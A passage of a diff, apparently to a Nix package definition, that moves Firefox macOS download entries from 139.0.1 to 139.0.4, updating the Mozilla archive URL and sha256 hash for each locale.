-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ff/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ff/Firefox%20139.0.4.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "f8ca52cc78ee5cc2f1f5b1483509c821183e16072c08765ddb102c509cbf4e26";
+      sha256 = "12772b28d793b9b799be5b53c3ec4a1536bbb024876e4e1a79ced06ba239fa82";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/fi/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/fi/Firefox%20139.0.4.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "161f80460829488560859f3a5b3a1aab0342f6062ea033721748d5a038466bfd";
+      sha256 = "f92075580647bb4e1c1a6e5bb9d2d6a6070d3b25133af4f19af83264e1600f52";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/fr/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/fr/Firefox%20139.0.4.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "b33ddd6074f49f281579768f0496e0a7775c56789430beae97c108de9534c194";
+      sha256 = "90504a396e4a4026872c12af19dfd19bb1d97b1d8968ea2ad9873fc4f2dda276";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/fur/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/fur/Firefox%20139.0.4.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "ccd0854020645c2dae8827cce789d6a6549566afe9ec31c4797dbf5f2e881b65";
+      sha256 = "0cd66ee8c58052f27e0b13856c6338a1b63c413c9102f736571f7940958675af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/fy-NL/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/fy-NL/Firefox%20139.0.4.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "0ae690d15c2fafd99d9fada3ba80e5ab480fdce0ab29e04c09354d8e265c20e3";
+      sha256 = "0cd10570538578e18e02c7b51e8460d840354bd06e28861daae67cf9e49b0f79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ga-IE/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ga-IE/Firefox%20139.0.4.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "efbcb4bf59a1bbcb7a029c32392d175935da72263f795fa64d5437887c2c961b";
+      sha256 = "87aa41740c0295b335c87c425734e24167dd8f1503ba1f04dcc37fff48122dc4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/gd/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/gd/Firefox%20139.0.4.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "f40bceae5ccce329d9ab871337fd558222dfc26a715e7acd8cd628324547fae3";
+      sha256 = "83de5db2482bd10a915c9a68bac65e9a9e363e6cd1dd1e21ee04591db0a5ef1b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/gl/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/gl/Firefox%20139.0.4.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "9ad62642cdae3735a4fa68999152dca54467e92e173c9c38c10a60a299e23b1d";
+      sha256 = "a0134ebb1dcacd91c5f25565e4b2c2bedae7318e8528f0965bf28583e7c1dd8d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/gn/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/gn/Firefox%20139.0.4.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "4283168026c7fecf6b8e444375d5823bd6d1c81d07b0b70f9b76fbe6dd6c9454";
+      sha256 = "d54c02566b8ae14d22351b00e34235a8d523a29db858c349e6b045acf581b9de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/gu-IN/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/gu-IN/Firefox%20139.0.4.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "69282aac4c06e0d9110005989b045eaf6f4a0158c06effa7098ce30fb584cf6b";
+      sha256 = "abfdc34b558c160e0e0404103057caf0235bf011f3f8950dbf2e30d106a9d6ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/he/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/he/Firefox%20139.0.4.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "88e5bb9a6e7c36725e2408eb2b8ee7a4cfb48e09314e3c5431df6640d8a4b507";
+      sha256 = "4178f39bd52b4971ad3a7aae51291b716ad777df1566aaf14637881d8f654d47";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/hi-IN/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/hi-IN/Firefox%20139.0.4.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "4a4495a3e32e6d79e67f41048e8115feb0283693b12209b80cd3e3e92f353a01";
+      sha256 = "0d78e61fb3fb8947dd96e7284fd4f74710c8fc61d7701755c0e266b2093f21de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/hr/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/hr/Firefox%20139.0.4.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "a98af3f668e6bb6f2cdfb416a74d78ed0ddcf1060125c73eb7f8a8b66c539450";
+      sha256 = "5ea7cdbc8fd8dc992584a5d869fa5006d1c1f8c62d033933579bd732e42bee4e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/hsb/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/hsb/Firefox%20139.0.4.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "b8da34f008e70ce54176521625c1f77e2cb7e4167d6e81cdedce012ffa67ba6f";
+      sha256 = "96c9aaf1b9b176674889e777cfc12632ed9db3a68faec70444f488aee633811c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/hu/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/hu/Firefox%20139.0.4.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "9f396ff5aea2604013f1d4d199660a3157a915a28ae6d04894e9277a84320c4d";
+      sha256 = "257410ceb23e6e83499ef28b31876394b7b048b83034f09ead3f11be96d34fd3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/hy-AM/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/hy-AM/Firefox%20139.0.4.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "c2074346fa59f96cbdc0c31d86e218fdeb8dc9aa31a0f19e1a6d0875c45c1316";
+      sha256 = "406d8e063c5cc1ec425884a93142f6e830683634cbdbbf19a9768f9685d12b55";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ia/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ia/Firefox%20139.0.4.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "38ae1f39ec8d063cb581f3bd7ef77574a538a7390b91a208e0e2c21e59e17737";
+      sha256 = "df4608b82381b51c41151e00cb008b8a015a0718d03f18a09b25732e6f5a11ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/id/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/id/Firefox%20139.0.4.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "4b8c298aaa0a13e31929f27a1b10620775a85153aaf8b18aa370cdff7473393d";
+      sha256 = "a4aaa52e496b42e9327e9f45f03cf5a7561636abb797b032dfa0c3d675b8146e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/is/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/is/Firefox%20139.0.4.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "27979073fa3c7d499876e4c15d98565986ebc53486560aeca27597d7a68331d5";
+      sha256 = "8cc6b1e260b44c61400a925cbdbb966d0a902f0e41e16385662b1985abdcd795";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/it/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/it/Firefox%20139.0.4.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "66f87df7f6168e692091e0a5b8317fdfdbaa2d2c71d1c5745ff4bef3db3af9ca";
+      sha256 = "c682480079c6e4f620b6b8b284dbbdbd207252b73d04fbdba8288c9a866c59c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ja-JP-mac/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ja-JP-mac/Firefox%20139.0.4.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "c55cdf4c12ed9ccf12340ddd494655ad5d4824a5bf00079e7f4d4198a9a1091f";
+      sha256 = "c18ba704027225ef0242f26f67c36a7041d1ec3046144d7ca2e966810297f093";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ka/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ka/Firefox%20139.0.4.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "c6a80bdf695c935fa3ddba101e1e9d3a552d2e64ffcb03b6a486ece7cf092ee0";
+      sha256 = "b2c1676fc61153bedd3f3982f1c4060af14bc38817bba726e6bcb2c09db64546";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/kab/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/kab/Firefox%20139.0.4.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "ae81d15ec907d015e8a1e491779391b4112adae18d1063792c247b1106659dba";
+      sha256 = "f1554093d387fe1594dd18809ac8389afc8cff6825776b63b1a767829ee1654c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/kk/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/kk/Firefox%20139.0.4.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "dbf7aa923dc1531b1457ffe4eafcbf75ce2246078fd708a903b91af9784553da";
+      sha256 = "25638b911edf9f048e1cb572fade0859717a534706dc47209ddc1c51dc0922a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/km/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/km/Firefox%20139.0.4.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "8b1ffc20c721b014f5190faadac1856a6cde670df45806449eefc8169a32ff50";
+      sha256 = "3faa1af1ca8f0bb154e5869b89d9917b20bd8412cf04949395d9da43a852329c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/kn/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/kn/Firefox%20139.0.4.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "6c96ae6870fb6d9d6f06b23fef6013c4d1e697f27145ecb4960c0a08d5f78a34";
+      sha256 = "335fb5839de6fc6920291279dc6b8818b793337e1d8638f9cf157578da0c0dec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ko/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ko/Firefox%20139.0.4.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "2e2cd7ff45d1152a112fad55284d199dc33210c1f1821f7c43b51c9508ec4606";
+      sha256 = "3128c4737cd097eecfa21726ad83e66980b3d3b5f45048db0b855fa8991df9c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/lij/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/lij/Firefox%20139.0.4.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "80b2cbd9687e2474e8f52c5f8cab938da4ec01ec08bc858a06de8cd98b31f57e";
+      sha256 = "6f7f425011d071dca7df6fe90e7fc92b60dbc4e1f1d370d5dbf2b6ddaab3ecc7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/lt/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/lt/Firefox%20139.0.4.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "e836ed07b13a5b02e612b9825e8d5d404972f6d2fd91e95210ec7ae838426f9e";
+      sha256 = "7b8e7547f8c00067ddbf3d241464dcf5badbc243165d106e19397908f2f2aeaf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/lv/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/lv/Firefox%20139.0.4.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "0cd6580a21df980be2c2ad8a7e7fc162206b62cd3673f4509db609e326cd9ed7";
+      sha256 = "a302243b62092df91c71b599bc2163276eca95902cce0601cc078d0566bf8fd4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/mk/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/mk/Firefox%20139.0.4.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "d5c548bac8aa256e28f6f2e76ccbfe54087dd76479b582317def096be056c58b";
+      sha256 = "86204f6459eb1b2911ba33b14ddcc980b00d6c594991ac3c2761abbe5565c0e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/mr/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/mr/Firefox%20139.0.4.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "5ef64765786bb49ffdd7cf0670ef22796a546429b6892c3fd92921cb8b83644f";
+      sha256 = "561d755efb2679d4633d05179e5f40b1fe248152ca4761b16ea4fc22d1e22563";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ms/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ms/Firefox%20139.0.4.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "088b75c258d62a6e8bb53de458b2a3b7a1df7022e98d4d2c782ee61b21c93db6";
+      sha256 = "bb141b43428f737e2ba51684db29227e0cae38dfd1b10179e39f362c95bbd25e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/my/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/my/Firefox%20139.0.4.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "e2217ecd841382ce3d502d717e2403309b7926846538a9d5d87725a66c44b411";
+      sha256 = "e7de2a6cdcd380a320a25a7af7c55e672f3663e23a083c5b8f9ddf976406fba3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/nb-NO/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/nb-NO/Firefox%20139.0.4.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "420220b20cf11b8240875c13cf9e33c39364e72118fb8b3449e5e5da0157336b";
+      sha256 = "2820e7fe079d6380ab0b17694bf3c92e9d170e2ed7409385d88bb4c2938dd0fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ne-NP/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ne-NP/Firefox%20139.0.4.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "c9c591f0acd41376c0e2067941702339b43141fbfac90ce7c1a67bac421ad56c";
+      sha256 = "fee6597075f76447647e946ae07a6d52befe6503bdaeba811d5b1c91064f9bc7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/nl/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/nl/Firefox%20139.0.4.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "a2a56b7d9815c69cc15df54dfb7ce9cc43f083bc2a7be1960ca48a461afb9807";
+      sha256 = "77990db73258c0d0154bb60a231673953ee1764aea5b74594ab2c53b4a842549";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/nn-NO/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/nn-NO/Firefox%20139.0.4.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "a7f0f6e099edfbeb82c52324113302098570d483bdf4f41394c031756032709e";
+      sha256 = "989109b352cea0a86d940d740511e87f0df7647a92d13553b08547802938a199";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/oc/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/oc/Firefox%20139.0.4.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "c1ac050cb59700f7c7fef9d46fe52fe3c6ae0398342486d4097acf8e3afe1e0b";
+      sha256 = "723ce4b024b3122fb9540191dff60c13439b02e464f55263448a25af3d62c3e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/pa-IN/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/pa-IN/Firefox%20139.0.4.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "dd22354c6d627ea338ba4dcf1907c709606b3ae9889be92c5ad4374b6960de19";
+      sha256 = "0e3f52eff557e2f932808ebed3f945410d77cea2f464597ebf5ae8633a40850e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/pl/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/pl/Firefox%20139.0.4.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "33931e4ced252ce729f3d43fecf9f4720d193664b824271bc9f60d1149b09c2c";
+      sha256 = "bc7efd404ad0d2229abc23c1f86e34666520fde23ef240f079b4858a38d0c2ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/pt-BR/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/pt-BR/Firefox%20139.0.4.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "e4fcd07958c32a953be40f9a4a14c9941dcb69c7c432b68f428f4ec9c0fde5a2";
+      sha256 = "2b1ebc065b613420f62889885fe80145a298af98bd0c4b5e5de30907a990d831";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/pt-PT/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/pt-PT/Firefox%20139.0.4.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "037a139a087e796e18f1b5247d34797e4aa91b0a2acfb0b66a371687f0936b4a";
+      sha256 = "83cd9b7ce08cdbe9c5b2e6ec9c08fe66fdbc0390c2bcdbc29afe9948896b2794";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/rm/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/rm/Firefox%20139.0.4.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "370b78747a9439c2f205820f5dce9d078fd28dc208c77597443787604c07d461";
+      sha256 = "4eb6d711138e79e9f54e9b471366f3f6597870faa1888266f9aeb11a9e99ba19";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ro/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ro/Firefox%20139.0.4.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "0d48fa56226f6be494e507f3d05669a4a12597b890458d0e51b88277c17fb5d6";
+      sha256 = "1be921022c549ba21a6fcb43dc340ac758526284ffa1b9276a8ebf035e3ad19c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ru/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ru/Firefox%20139.0.4.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "1c9972d288c9af9784b5eaea75c8583d4bd57be5cdff0300cc85ac860d3cfabd";
+      sha256 = "86d13a9741f3d4833f0396e2aa861c0752551d96834fd19fbcc702c9e2481b16";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sat/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sat/Firefox%20139.0.4.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "9a8537438377a20b23c4fb7233e881a142b257b3516fd44586921369dcdfd8c0";
+      sha256 = "f3c5804d0c67625d5a99e5eff23608717beaf501c67e3afc45aeb7c6a7e41b72";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sc/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sc/Firefox%20139.0.4.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "81c316ef0cca280bc41b664d9db2bc1c45e1b06f100f4c8687784fb8aa4afd73";
+      sha256 = "b72b0b375fb4c0e5219f3ca20d5341c3661399f53280fcb88284f74efb13f9e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sco/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sco/Firefox%20139.0.4.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "0a8c54624945f06daad9368c8333cba7ee3d204b27eb54b3fb4629d1e2db416a";
+      sha256 = "59b7a195a106dbe0eb1f63d5bb909150be235c87a80822094a7ec5fb4f4012ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/si/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/si/Firefox%20139.0.4.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "65e57e930a9b3eb0a58fd6fcaaea7a059161b3b800811899fd1e1569beb1a514";
+      sha256 = "e5d43658711bce6ce97c5574fdb8619ace7d519ba43c5801aec6abd68af4a33c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sk/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sk/Firefox%20139.0.4.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "f53d1c2e249b7dae8acfe51539fb7628bf31251b5c377a3db0289695e21a8351";
+      sha256 = "6af5643493b2bf6bf4e03d872656f7adef2c776cd7c977065e88f2b3cd7b6754";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/skr/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/skr/Firefox%20139.0.4.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "910b1ce3d5765d790114776322343afa0bf77d4f75fc2edc3c7144a2af8c0644";
+      sha256 = "4026ae3d0eeb24e54b2d4c562fae11f186a848576fc7ffde4780f3b3e135f02e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sl/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sl/Firefox%20139.0.4.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "791514db0971cea4133582b95eede42a618f8725353c69d6ab9df58590078cc0";
+      sha256 = "7c3f9fe1117f43a68efdf46e245320960c3c72f64ec5e0af048736177e54326a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/son/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/son/Firefox%20139.0.4.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "864e755abefbd43ee15e8d6c0423004d975cef8638d6fbe6a399ecd0344ade52";
+      sha256 = "7da2f4a3dd1366bdcda44cbe9b403d2ff6730c8d924498aa5df70b0ab5d59181";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sq/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sq/Firefox%20139.0.4.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "c198eb883aed34be07c179ee7b63809189614ae71eeb6ee334cb5531b950097b";
+      sha256 = "8bb9038523a4c6f84ff56b5e53e7e69b3af8037070d4417b0d14b560f6e6a4b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sr/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sr/Firefox%20139.0.4.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "07799c0d2427c01f92036c2b472c2496000957e06be875e360715964d353cc0e";
+      sha256 = "a896b61f56d414820b0c133bcd07e4d47093b9b85efddd560d08ea5c1b4922ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sv-SE/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/sv-SE/Firefox%20139.0.4.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "9c7020e14c9b2fb6316aa64101e5c22a543837aa859ccde7d3d85b21706110dd";
+      sha256 = "3e897ef4eb7ce809a4c372788b8e8b99aec3fdf81a401ee1641670f64d354c06";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/szl/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/szl/Firefox%20139.0.4.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "1b3cca5c3825534614e0622c0c9390adcc3d977b2929b6b6b71569bda944c1f4";
+      sha256 = "1c7229bed317ceff4dfd6304004aa1148189019cd7241f5b5fd966f0a9a0148c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ta/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ta/Firefox%20139.0.4.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "a948221b830cd91e2baf75267f0c88d7fbb922bb5fa3400a7cdb56ab4a2ac24e";
+      sha256 = "df7507990a863894ef7cfcfafd4d11747f8178c8abe37f0bd33d2c3bfde485b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/te/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/te/Firefox%20139.0.4.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "f0f7a591948768c0a1be88dd6d6e3894eecee31c03bc1b27e78e1be935cffccf";
+      sha256 = "095a1a6429f394effd24d4b44f9d25cf7517aec0e4cdb923451e5f76a57dda86";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/tg/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/tg/Firefox%20139.0.4.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "9a70c9b3f12b40176ff6517f595e07aeb384e9629b0d88290ac6b5e3afb1648a";
+      sha256 = "2dccfae304c30b04b550df94d617098998c0a98ce2a3ebe57cb00797cdbd3c2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/th/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/th/Firefox%20139.0.4.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "7488d21f91cfda5bae385a9ba89e15165e589f57c7c6220bcdccb685e2a8714f";
+      sha256 = "e613b617f9a65dcb9fd4f1e03d581fb507cd25faf679f87dc42ac570c6f5f7ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/tl/Firefox%20139.0.1.dmg";
